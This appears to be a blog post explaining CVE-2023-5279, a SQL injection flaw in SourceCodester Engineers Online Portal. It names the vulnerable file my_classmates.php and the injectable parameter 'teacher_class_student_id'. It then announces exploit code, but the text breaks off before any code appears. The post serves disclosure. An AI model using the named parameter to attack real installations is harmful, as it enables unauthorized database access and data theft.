Hey folks! Today, I want to talk about an important security issue that has come to light. A critical vulnerability has been discovered in SourceCodester Engineers Online Portal 1., and it's a big one. CVE-2023-5279, a SQL injection vulnerability, affects an unknown functionality of the file my_classmates.php. The manipulation of the argument "teacher_class_student_id" can result in unauthorized access to sensitive data or even allow an attacker to take control of the affected system.
This vulnerability has a severity rating of 9.8/10, making it an extremely serious issue that should not be taken lightly. For your convenience, I've included some additional resources at the end of this post to help you keep your systems secure.
But first, let's take a deeper look into what this vulnerability entails and how it can be exploited.
Exploit Details
This vulnerability is due to the way the application handles user-supplied input when processing the "teacher_class_student_id" argument in the "my_classmates.php" file. By injecting malicious SQL code, an attacker can manipulate the system's underlying database, which can result in unauthorized access to sensitive information or even allow the attacker to execute arbitrary commands on the affected system.
Here's a sample of the exploit code that demonstrates the potential danger posed by this vulnerability:
